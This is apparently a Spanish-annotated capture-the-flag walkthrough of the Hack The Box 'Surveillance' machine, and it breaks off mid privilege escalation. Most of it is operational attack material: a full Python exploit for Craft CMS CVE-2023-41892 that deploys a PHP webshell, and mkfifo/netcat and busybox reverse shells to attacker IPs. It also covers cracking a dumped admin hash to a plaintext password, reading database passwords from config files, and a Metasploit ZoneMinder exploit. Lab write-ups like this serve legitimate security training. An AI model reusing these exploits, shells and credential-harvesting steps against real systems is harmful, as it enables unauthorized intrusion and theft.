Surveillance

nmap

```
        nmap -sC -sV 10.10.11.245
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-15 22:49 CET
Nmap scan report for 10.10.11.245
Host is up (0.26s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 96:07:1c:c6:77:3e:07:a0:cc:6f:24:19:74:4d:57:0b (ECDSA)
|_  256 0b:a4:c0:cf:e2:3b:95:ae:f6:f5:df:7d:0c:88:d6:ce (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://surveillance.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 52.10 seconds
```

vim /etc/host

```
10.10.11.245    surveillance.htb
```

gobuster

gobuster dir -u surveillance.htb -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -x .php,.html,.txt,.zip| grep admin
/admin (Status: 302) [Size: 0] [--> http://surveillance.htb/admin/login]
Progress: 1437 / 1038220 (0.14%)^C

#Vamos a http://survillance/admin/login

#Vemos la aplicacción. Buscamosu vulnerabilidades en al web.
title="Powered by Craft CMS"

https://github.com/Faelian/CraftCMS_CVE-2023-41892.git

```
#!/usr/bin/env python3
#coding: utf-8

# Exploit Title: Craft CMS unauthenticated Remote Code Execution (RCE)
# Date: 2023-12-26
# Version: 4.0.0-RC1 - 4.4.14
# Vendor Homepage: https://craftcms.com/
# Software Link: https://github.com/craftcms/cms/releases/tag/4.4.14
# Tested on: Ubuntu 22.04.3 LTS
# Tested on: Craft CMS 4.4.14
# Exploit Author: Olivier Lasne
# CVE : CVE-2023-41892
# References :
# https://github.com/craftcms/cms/security/advisories/GHSA-4w8r-3xrw-v25g
# https://blog.calif.io/p/craftcms-rce

import requests
import sys, re

if(len(sys.argv) < 2):
    print(f"\033[1;96mUsage:\033[0m python {sys.argv[0]} \033[1;96m<url>\033[0m")
    exit()

HOST = sys.argv[1]

if not re.match('^https?://.*', HOST):
    print("\033[1;31m[-]\033[0m URL should start with http or https")
    exit()

print("\033[1;96m[+]\033[0m Executing phpinfo to extract some config infos")

## Execute phpinfo() and extract config info from the website
url = HOST + '/index.php'
content_type = {'Content-Type': 'application/x-www-form-urlencoded'}

data = r'action=conditions/
render&test[userCondition]=craft\elements\conditions\users\UserCondition&config={"name":"test[userCondition]","as xyz":{"class":"\
\GuzzleHttp\\Psr7\\FnStream","__construct()":[{"close":null}],"_fn_close":"phpinfo"}}'

try:
    r = requests.post(url, headers=content_type, data=data)
except:
    print(f"\033[1;31m[-]\033[0m Could not connect to {HOST}")
    exit()

# If we succeed, we should have default phpinfo credits
if not 'PHP Group' in r.text:
        print(f'\033[1;31m[-]\033[0m {HOST} is not exploitable.')
        exit()


# Extract config value for tmp_dir and document_root
pattern1 = r'<tr><td class="e">upload_tmp_dir<\/td><td class="v">(.*?)<\/td><td class="v">(.*?)<\/td><\/tr>'
pattern2 = r'<tr><td class="e">\$_SERVER\[\'DOCUMENT_ROOT\'\]<\/td><td class="v">([^<]+)<\/td><\/tr>'

tmp_dir       = re.search(pattern1, r.text, re.DOTALL).group(1)
document_root = re.search(pattern2, r.text, re.DOTALL).group(1)


if 'no value' in tmp_dir:
        tmp_dir = '/tmp'

print(f'temporary directory: {tmp_dir}')
print(f'web server root: {document_root}')

## Create shell.php in tmp_dir
```

```
data = {
    "action": "conditions/render",
    "configObject[class]": "craft\elements\conditions\ElementCondition",
    "config": '{"name":"configObject","as ":{"class":"Imagick", "__construct()":{"files":"msl:/etc/passwd"}}}'
}

files = {
    "image1": ("pwn1.msl", """<?xml version="1.0" encoding="UTF-8"?>
    <image>
    <read filename="caption:&lt;?php @system(@$_REQUEST['cmd']); ?&gt;"/>
    <write filename="info:DOCUMENTROOT/shell.php"/>
    </image>""".replace("DOCUMENTROOT", document_root), "text/plain")
}

print(f'\033[1;96m[+]\033[0m create shell.php in {tmp_dir}')
r = requests.post(url, data=data, files=files) #, proxies={'http' : 'http://127.0.0.1:8080'}) #


# Use the Imagick trick to move the webshell in DOCUMENT_ROOT

data = {
    "action": "conditions/render",
    "configObject[class]": r"craft\elements\conditions\ElementCondition",
    "config": '{"name":"configObject","as ":{"class":"Imagick", "__construct()":{"files":"vid:msl:' + tmp_dir + r'/php*"}}}'
}

print(f'\033[1;96m[+]\033[0m trick imagick to move shell.php in {document_root}')
r = requests.post(url, data=data) #, proxies={"http": "http://127.0.0.1:8080"})

if r.status_code != 502:
    print("\033[1;31m[-]\033[0m Exploit failed")
    exit()

print(f"\n\033[1;95m[+]\033[0m Webshell is deployed: {HOST}/\033[1mshell.php\033[0m?cmd=whoami")
print(f"\033[1;95m[+]\033[0m Remember to \033[1mdelete shell.php\033[0m in \033[1m{document_root}\033[0m when you're done\n")
print("\033[1;92m[!]\033[0m Enjoy your shell\n")

url = HOST + '/shell.php'

## Pseudo Shell
while True:
    command = input('\033[1;96m>\033[0m ')
    if command == 'exit':
        exit()

    if command == 'clear' or command == 'cls':
        print('\n' * 100)
        print('\033[H\033[3J', end='')
        continue

    data = {'cmd' : command}
    r = requests.post(url, data=data) #, proxies={"http": "http://127.0.0.1:8080"})

    # exit if we have an error
    if r.status_code != 200:
        print(f"Error: status code {r.status_code} for {url}")
        exit()

    res_command = r.text
    res_command = re.sub('^caption:', '', res_command)
    res_command = re.sub(' CAPTION.*$', '', res_command)

    print(res_command, end='')
```

```
python3 craft-cms.py http://surveillance.htb
[+] Executing phpinfo to extract some config infos
temporary directory: /tmp
web server root: /var/www/html/craft/web
[+] create shell.php in /tmp
[+] trick imagick to move shell.php in /var/www/html/craft/web

[+] Webshell is deployed: http://surveillance.htb/shell.php?cmd=whoami
[+] Remember to delete shell.php in /var/www/html/craft/web when you're done

[!] Enjoy your shell

> find / -type f -perm -4000 2>/dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/libexec/polkit-agent-helper-1
/usr/bin/chsh
/usr/bin/sudo
```

/usr/bin/su
/usr/bin/fusermount3
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/umount
/usr/bin/mount
/usr/bin/newgrp

> cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
syslog:x:107:113::/home/syslog:/usr/sbin/nologin
uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin
tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
dnsmasq:x:113:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
matthew:x:1000:1000:,,,:/home/matthew:/bin/bash
mysql:x:114:122:MySQL Server,,,:/nonexistent:/bin/false
zoneminder:x:1001:1001:,,,:/home/zoneminder:/bin/bash
fwupd-refresh:x:115:123:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
_laurel:x:998:998::/var/log/laurel:/bin/false

> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

 > rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc 10.10.16.61 4444>/tmp/f
(Explicacción)
1. **`rm /tmp/f`:**
— Deletes any existing file named `/tmp/f` to ensure a fresh start.

2. **`mkfifo /tmp/f`:**
— Creates a named pipe (FIFO) named `/tmp/f`. A named pipe is a special type of file that allows processes to communicate.

3. **`cat /tmp/f | /bin/bash -i 2>&1`:**
— Reads from the named pipe (`/tmp/f`) and pipes the content to `/bin/bash` with the `-i` option for an interactive shell.
— The `2>&1` redirects standard error (file descriptor 2) to standard output (file descriptor 1), ensuring that error messages are also sent through the pipeline.

4. **`nc 10.10.x.x 4444 >/tmp/f`:**
— Initiates a Netcat (`nc`) connection to the IP address `10.10.x.x` on port `4444`.
— The standard output of the entire pipeline (which includes the output of the Bash shell) is redirected to the named pipe `/tmp/f`. This completes the loop, sending the shell output back into the named pipe, creating a bidirectional communication channel.

 nc -nlvp 4444
listening on [any] 4444 …

```
connect to [10.10.16.61] from (UNKNOWN) [10.10.11.245] 49080
bash: cannot set terminal process group (1115): Inappropriate ioctl for device
bash: no job control in this shell
www-data@surveillance:~/html/craft/web$ dir
dir
cpresources  css  fonts  images  img  index.php  js  shell.php  web.config
www-data@surveillance:~/html/craft/web$ pwd
pwd
/var/www/html/craft/web
www-data@surveillance:~/html/craft/web$ whoamin
whoamin
Command 'whoamin' not found, did you mean:
  command 'whoami' from deb coreutils (8.32-4.1ubuntu1)
Try: apt install <deb name>
www-data@surveillance:~/html/craft/web$ whoami
whoami
www-data
www-data@surveillance:~/html/craft/web$

#Buscamos direcorios abajo y nos encontramos con el directorio de backups con un fichero .zip dentro.
#Lo copiamos dentro de /web

www-data@surveillance:~/html/craft/web$ cp /var/www/html/craft/storage/backups/surveillance--2023-10-17-202801--v4.4.14.sql.zip .
</surveillance--2023-10-17-202801--v4.4.14.sql.zip .
www-data@surveillance:~/html/craft/web$ dir
dir
cpresources  images     js
css          img        surveillance--2023-10-17-202801--v4.4.14.sql.zip
fonts        index.php  web.config
www-data@surveillance:~/html/craft/web$

#Luego lo descargamos con wget a local.

wget surveillance.htb/surveillance--2023-10-17-202801--v4.4.14.sql.zip
--2024-02-22 07:35:16--  http://surveillance.htb/surveillance--2023-10-17-202801--v4.4.14.sql.zip
Resolving surveillance.htb (surveillance.htb)... 10.10.11.245
Connecting to surveillance.htb (surveillance.htb)|10.10.11.245|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 19918 (19K) [application/zip]
Saving to: ‘surveillance--2023-10-17-202801--v4.4.14.sql.zip’

surveillance--2023-10-17-202801-- 100%
[=============================================================>]  19.45K  57.0KB/s    in 0.3s

2024-02-22 07:35:16 (57.0 KB/s) - ‘surveillance--2023-10-17-202801--v4.4.14.sql.zip’ saved [19918/19918]
```

surveillance.zip

```
unzip surveillance--2023-10-17-202801--v4.4.14.sql.zip
Archive:  surveillance--2023-10-17-202801--v4.4.14.sql.zip
  inflating: surveillance--2023-10-17-202801--v4.4.14.sql

#Podemos ver un .sql dentro del comprimido.
#Si hacemos un cat ./surveillance--2023-10-17-202801--v4.4.14.sql podremos ver el hash del administrador.

-- Dumping data for table `userpreferences`
--

LOCK TABLES `userpreferences` WRITE;
/*!40000 ALTER TABLE `userpreferences` DISABLE KEYS */;
set autocommit=0;
INSERT INTO `userpreferences` VALUES (1,'{\"language\":\"en-US\",\"locale\":null,\"weekStartDay\":\"1\",
\"alwaysShowFocusRings\":false,\"useShapes\":false,\"underlineLinks\":false,\"notificationDuration\":\"5000\",\"showFieldHandles\":false,
\"enableDebugToolbarForSite\":false,\"enableDebugToolbarForCp\":false,\"showExceptionView\":false,\"profileTemplates\":false}');
/*!40000 ALTER TABLE `userpreferences` ENABLE KEYS */;
UNLOCK TABLES;
commit;

--
-- Dumping data for table `users`
--

LOCK TABLES `users` WRITE;
/*!40000 ALTER TABLE `users` DISABLE KEYS */;
set autocommit=0;
INSERT INTO `users` VALUES (1,NULL,1,0,0,0,1,'admin','Matthew
B','Matthew','B','admin@surveillance.htb','39ed84b22ddc63ab3725a1820aaa7f73a8f3f10d0848123562c9f35c675770ec','2023-10-17
20:22:34',NULL,NULL,NULL,'2023-10-11 18:58:57',NULL,1,NULL,NULL,NULL,0,'2023-10-17 20:27:46','2023-10-11 17:57:16','2023-10-17
20:27:46');
/*!40000 ALTER TABLE `users` ENABLE KEYS */;
UNLOCK TABLES;
commit;

#Con hash identifirer, vamos a tratar de descubrir que tipo de hash es.

hash → 39ed84b22ddc63ab3725a1820aaa7f73a8f3f10d0848123562c9f35c675770ec

hash-identifier
   ##########################################################################
   #     __  __                     __           ______    ____            #
   #    /\ \/\ \                   /\ \         /\__  _\  /\  _ `\         #
   #    \ \ \_\ \     __      ____ \ \ \___     \/_/\ \/  \ \ \/\ \        #
   #     \ \  _  \  /'__`\   / ,__\ \ \  _ `\      \ \ \   \ \ \ \ \       #
   #      \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \      \_\ \__ \ \ \_\ \      #
   #       \ \_\ \_\ \___ \_\/\____/  \ \_\ \_\     /\_____\ \ \____/      #
   #        \/_/\/_/\/__/\/_/\/___/    \/_/\/_/     \/_____/  \/___/  v1.2 #
   #                                                    By Zion3R           #
   #                                                   www.Blackploit.com   #
   #                                                  Root@Blackploit.com   #
   ##########################################################################
----------------------------------------------------
 HASH: 39ed84b22ddc63ab3725a1820aaa7f73a8f3f10d0848123562c9f35c675770ec

Possible Hashs:
[+] SHA-256
[+] Haval-256

Least Possible Hashs:
[+] GOST R 34.11-94
[+] RipeMD-256
[+] SNEFRU-256
[+] SHA-256(HMAC)
[+] Haval-256(HMAC)
[+] RipeMD-256(HMAC)
[+] SNEFRU-256(HMAC)
[+] SHA-256(md5($pass))
[+] SHA-256(sha1($pass))
----------------------------------------------------
```

```
#Lo copiamosa  un fichero
echo "39ed84b22ddc63ab3725a1820aaa7f73a8f3f10d0848123562c9f35c675770ec" > hash.txt

#Crackeamos el hash con hashcat.
```

hashcat

hashcat -m 1400 hash.txt /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 PoCL 4.0+debian Linux, None+Asserts, RELOC, SPIR, LLVM 15.0.7, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
==========
==========
* Device #1: cpu-haswell-Intel(R) Core(TM) i5-10400F CPU @ 2.90GHz, 2201/4466 MB (1024 MB allocatable), 8MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Early-Skip
* Not-Salted
* Not-Iterated
* Single-Hash
* Single-Salt
* Raw-Hash

ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.

Watchdog: Temperature abort trigger set to 90c

Host memory required for this attack: 2 MB

Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

39ed84b22ddc63ab3725a1820aaa7f73a8f3f10d0848123562c9f35c675770ec:starcraft122490

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 1400 (SHA2-256)
Hash.Target......: 39ed84b22ddc63ab3725a1820aaa7f73a8f3f10d0848123562c...5770ec
Time.Started.....: Thu Feb 22 07:47:11 2024 (2 secs)
Time.Estimated...: Thu Feb 22 07:47:13 2024 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 2517.5 kH/s (0.32ms) @ Accel:512 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 3555328/14344385 (24.79%)
Rejected.........: 0/3555328 (0.00%)
Restore.Point....: 3551232/14344385 (24.76%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: starfish789 -> stangs06
Hardware.Mon.#1..: Util: 22%

Started: Thu Feb 22 07:47:11 2024
Stopped: Thu Feb 22 07:47:14 2024

hashcat -m 1400 hash.txt /usr/share/wordlists/rockyou.txt --show
39ed84b22ddc63ab3725a1820aaa7f73a8f3f10d0848123562c9f35c675770ec:starcraft122490

#Intentamos hacer ssh con la contraseña obtenida y con el usuario matthew
(Como hemos visto antes, matthew:x:1000:1000:,,,:/home/matthew:/bin/bash es el primer usuario)

```
ssh matthew@surveillance.htb
The authenticity of host 'surveillance.htb (10.10.11.245)' can't be established.
ED25519 key fingerprint is SHA256:Q8HdGZ3q/X62r8EukPF0ARSaCd+8gEhEJ10xotOsBBE.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'surveillance.htb' (ED25519) to the list of known hosts.
matthew@surveillance.htb's password:
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-89-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Thu Feb 22 06:52:18 AM UTC 2024

  System load:  0.080078125       Processes:             233
  Usage of /:   84.0% of 5.91GB   Users logged in:       1
  Memory usage: 17%               IPv4 address for eth0: 10.10.11.245
  Swap usage:   0%


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Thu Feb 22 05:51:41 2024 from 10.10.14.52
matthew@surveillance:~$ whoami
matthew
```

linpeas

#Nos lo descargamos de github y lo subimos al servidor
https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS

wget http://10.10.16.34/linpeas.sh
--2024-02-22 07:03:01-- http://10.10.16.34/linpeas.sh
Connecting to 10.10.16.34:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 860401 (840K) [text/x-sh]
Saving to: 'linpeas.sh'

linpeas.sh   100%
[===>] 840.24K   946KB/s   in 0.9s

2024-02-22 07:03:05 (946 KB/s) - 'linpeas.sh' saved [860401/860401]

#Lo ejecutamos en el servidor.
#Nos fijamos en este vector de ataque.

╔══════════╣ Analyzing Env Files (limit 70)
-rw-r--r-- 1 root root 0 May 2 2023 /usr/lib/node_modules/passbolt_cli/node_modules/psl/.env
-rw-r--r-- 1 www-data www-data 836 Oct 21 18:32 /var/www/html/craft/.env
CRAFT_APP_ID=CraftCMS--070c5b0b-ee27-4e50-acdf-0436a93ca4c7
CRAFT_ENVIRONMENT=production
CRAFT_SECURITY_KEY=2HfILL3OAEe5X0jzYOVY5i7uUizKmB2_
CRAFT_DB_DRIVER=mysql
CRAFT_DB_SERVER=127.0.0.1
CRAFT_DB_PORT=3306
CRAFT_DB_DATABASE=craftdb
CRAFT_DB_USER=craftuser
CRAFT_DB_PASSWORD=CraftCMSPassword2023!
CRAFT_DB_SCHEMA=
CRAFT_DB_TABLE_PREFIX=
DEV_MODE=false
ALLOW_ADMIN_CHANGES=false
DISALLOW_ROBOTS=false
PRIMARY_SITE_URL=http://surveillance.htb/

#Podemos ver una zona llamada "zoneminder".

╔══════════╣ Analyzing Backup Manager Files (limit 70)
-rw-r--r-- 1 root zoneminder 5265 Nov 18 2022 /usr/share/zoneminder/www/ajax/modals/storage.php
-rw-r--r-- 1 root zoneminder 1249 Nov 18 2022 /usr/share/zoneminder/www/includes/actions/storage.php

-rw-r--r-- 1 root zoneminder 3503 Oct 17 11:32 /usr/share/zoneminder/www/api/app/Config/database.php
                'password' => ZM_DB_PASS,
                'database' => ZM_DB_NAME,
                'host' => 'localhost',
                'password' => 'ZoneMinderPassword2023',
                'database' => 'zm',
                        $this->default['host'] = $array[0];
                $this->default['host'] = ZM_DB_HOST;
-rw-r--r-- 1 root zoneminder 11257 Nov 18 2022 /usr/share/zoneminder/www/includes/database.php

#Buscamos en gogole sobre ZoneMinder y podemos ver que se trata de un software de videovigilancia.
#Nos tenmos que fijar bien en el fichero zoneminder.conf

```
-rw-r--r-- 1 root root 1110 Oct 17 16:38 /etc/nginx/sites-available/zoneminder.conf
server {
    listen 127.0.0.1:8080;

    root /usr/share/zoneminder/www;

    index index.php;

    access_log /var/log/zm/access.log;
    error_log /var/log/zm/error.log;

    location / {
```

```
        try_files $uri $uri/ /index.php?$args =404;

        location ~ /api/(css|img|ico) {
            rewrite ^/api(.+)$ /api/app/webroot/$1 break;
            try_files $uri $uri/ =404;
        }
        location /api {
            rewrite ^/api(.+)$ /api/app/webroot/index.php?p=$1 last;
        }
        location /cgi-bin {
            include fastcgi_params;

            fastcgi_param SCRIPT_FILENAME $request_filename;
            fastcgi_param HTTP_PROXY "";

            fastcgi_pass unix:/run/fcgiwrap.sock;
        }

        location ~ \.php$ {
            include fastcgi_params;

            fastcgi_param SCRIPT_FILENAME $request_filename;
            fastcgi_param HTTP_PROXY "";

            fastcgi_index index.php;

            fastcgi_pass unix:/var/run/php/php8.1-fpm-zoneminder.sock;
        }
    }
}
```

#Vamos a realizar un port forwarding

ssh -L 2222:127.0.0.1:8080 matthew@surveillance.htb
matthew@surveillance.htb's password:
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-89-generic x86_64)

 * Documentation: https://help.ubuntu.com
 * Management: https://landscape.canonical.com
 * Support: https://ubuntu.com/advantage

  System information as of Thu Feb 22 07:21:46 AM UTC 2024

  System load: 0.0048828125   Processes: 231
  Usage of /:   84.6% of 5.91GB   Users logged in: 1
  Memory usage: 22%   IPv4 address for eth0: 10.10.11.245
  Swap usage: 0%

Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status

The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Last login: Thu Feb 22 06:52:19 2024 from 10.10.16.34

#Ahora, nos conectaremos desde web al por forwarding.
http://127.0.0.1:2222/
#Intentamos admin:admin, sin resultado.
#Buscaremos la versión para buscar algun exploit.

cd /usr/share/zoneminder/www/api/app/Config

cat * | grep -i version
Configure::write('ZM_VERSION', '1.36.32');
Configure::write('ZM_API_VERSION', '1.36.32.1');
 * for instance. Each version can then have its own view cache namespace.
 *   value to false, when dealing with older versions of IE, Chrome Frame or certain web-browsing devices and AJAX
 * for instance. Each version can then have its own view cache namespace.
 *   value to false, when dealing with older versions of IE, Chrome Frame or certain web-browsing devices and AJAX

cat: Schema: Is a directory

#Buscamos algun exploit, y encontramos este: https://github.com/heapbytes/CVE-2023-26035
#Una vez descargado, lo ejecutamos

python3 poc.py --target http://127.0.0.1:2222/ --cmd 'nc 10.10.10.16.34 4444 >/tmp/f'
Fetching CSRF Token
Got Token: key:854a49f8029ceafbf2387ce47e8625a7a218713f,1708636735
[>] Sending payload..
[!] Script executed by out of time limit (if u used revshell, this will exit the script)

nc -nlvp 4444
listening on [any] 4444 ...

#No obtenemos shell

metasploit

msf6 > search zoneminder

Matching Modules
================

#	Name	Disclosure Date	Rank	Check	Description
0	exploit/unix/webapp/zoneminder_lang_exec	2022-04-27	excellent	Yes	ZoneMinder Language Settings Remote Code Execution
1	exploit/unix/webapp/zoneminder_snapshots	2023-02-24	excellent	Yes	ZoneMinder Snapshots Command Injection
2	exploit/unix/webapp/zoneminder_packagecontrol_exec	2013-01-22	excellent	Yes	ZoneMinder Video Server packageControl Command Execution

Interact with a module by name or index. For example info 2, use 2 or use exploit/unix/webapp/zoneminder_packagecontrol_exec

msf6 > use 1
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
msf6 exploit(unix/webapp/zoneminder_snapshots) > set rhost 127.0.0.1
rhost => 127.0.0.1
msf6 exploit(unix/webapp/zoneminder_snapshots) > set rport 2222
rport => 2222
msf6 exploit(unix/webapp/zoneminder_snapshots) > set lhost 10.10.16.34
lhost => 10.10.16.34
msf6 exploit(unix/webapp/zoneminder_snapshots) > exploit

[*] Started reverse TCP handler on 10.10.16.34:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[-] Exploit aborted due to failure: not-vulnerable: The target is not exploitable. Check TARGETURI - unexpected HTTP response code: 404 "set ForceExploit true" to override check result.
[*] Exploit completed, but no session was created.
msf6 exploit(unix/webapp/zoneminder_snapshots) > set targeturi /
targeturi => /
msf6 exploit(unix/webapp/zoneminder_snapshots) > exploit

[*] Started reverse TCP handler on 10.10.16.34:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Elapsed time: 13.014378978999957 seconds.
[+] The target is vulnerable.
[*] Fetching CSRF Token
[+] Got Token: key:722a30e31d1e2296a3566cb62981ba95dc1a2448,1708637830
[*] Executing nix Command for cmd/linux/http/x64/meterpreter/reverse_tcp
[*] Sending payload
[*] Sending stage (3045380 bytes) to 10.10.11.245
[+] Payload sent
[*] Meterpreter session 1 opened (10.10.16.34:4444 -> 10.10.11.245:37368) at 2024-02-22 22:37:35 +0100

meterpreter > shell
Process 2374 created.
Channel 1 created.
whoami
zoneminder
python3 -c 'import pty;pty.spawn("/bin/bash")'
zoneminder@surveillance:/usr/share/zoneminder/www$

#Spwn a shell:

```
python3 -c 'import pty;pty.spawn("/bin/bash")'
```

zoneminder@surveillance:/usr/share/zoneminder/www$ sudo -l
sudo -l
Matching Defaults entries for zoneminder on surveillance:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User zoneminder may run the following commands on surveillance:
    (ALL : ALL) NOPASSWD: /usr/bin/zm[a-zA-Z]*.pl *

#Podemos ver que podemos ejecutar ficheros .pl
#Buscamos por los .pl en /usr/bin
zoneminder@surveillance:/usr/bin$ find /usr/bin -type f -name "*.pl"
find /usr/bin -type f -name "*.pl"
/usr/bin/zmtrack.pl
/usr/bin/zmpkg.pl
/usr/bin/zmcontrol.pl
/usr/bin/zmonvif-probe.pl
/usr/bin/zmvideo.pl
/usr/bin/zmtelemetry.pl
/usr/bin/zmsystemctl.pl
/usr/bin/zmonvif-trigger.pl
/usr/bin/zmwatch.pl
/usr/bin/zmdc.pl
/usr/bin/zmstats.pl
/usr/bin/zmtrigger.pl
/usr/bin/zmx10.pl
/usr/bin/zmfilter.pl
/usr/bin/zmcamtool.pl
/usr/bin/zmaudit.pl
/usr/bin/zmupdate.pl
/usr/bin/zmrecover.pl

#Vemos que tenemeos busybox

zoneminder@surveillance:/usr/bin$ busybox
busybox
BusyBox v1.30.1 (Ubuntu 1:1.30.1-7ubuntu3) multi-call binary.
BusyBox is copyrighted by many authors between 1998-2015.
Licensed under GPLv2. See source distribution for detailed
copyright notices.

Usage: busybox [function [arguments]...]
   or: busybox --list[-full]
   or: busybox --install [-s] [DIR]
   or: function [arguments]...

        BusyBox is a multi-call binary that combines many common Unix
        utilities into a single executable. The shell in this build
        is configured to run built-in utilities without $PATH search.
        You don't need to install a link to busybox for each utility.
        To run external program, use full path (/sbin/ip instead of ip).

Currently defined functions:
        [, [[, acpid, adjtimex, ar, arch, arp, arping, ash, awk, basename, bc,
        blkdiscard, blockdev, brctl, bunzip2, busybox, bzcat, bzip2, cal, cat,
  ...

#Documentación sobre el funcionamiento de Zoneminder
https://wiki.hackspherelabs.com/index.php?title=Zoneminder

#Creamos un script.
 reverse.sh

```
#/bin/bash
busybox nc 10.10.16.38 6666 -e sh
```


  python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.245 - - [24/Feb/2024 12:53:23] "GET /reverse.sh HTTP/1.1" 200 -

  #Nos dirigimos a /tmp para injectar el shell
  cd /tmp

  zoneminder@surveillance:/tmp$ wget 10.10.16.38/reverse.sh
wget 10.10.16.38/reverse.sh
--2024-02-24 11:53:20-- http://10.10.16.38/reverse.sh
Connecting to 10.10.16.38:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 45 [text/x-sh]

Saving to: ‘reverse.sh.2’

reverse.sh.2 100%[===================>] 45 --.-KB/s in 0s

2024-02-24 11:53:21 (1.54 MB/s) - ‘reverse.sh.2’ saved [45/45]

zoneminder@surveillance:/tmp$ dir
#Añadimos permisos
zoneminder@surveillance:/tmp$ chmod +x reverse.sh.2
chmod +x reverse.sh.2

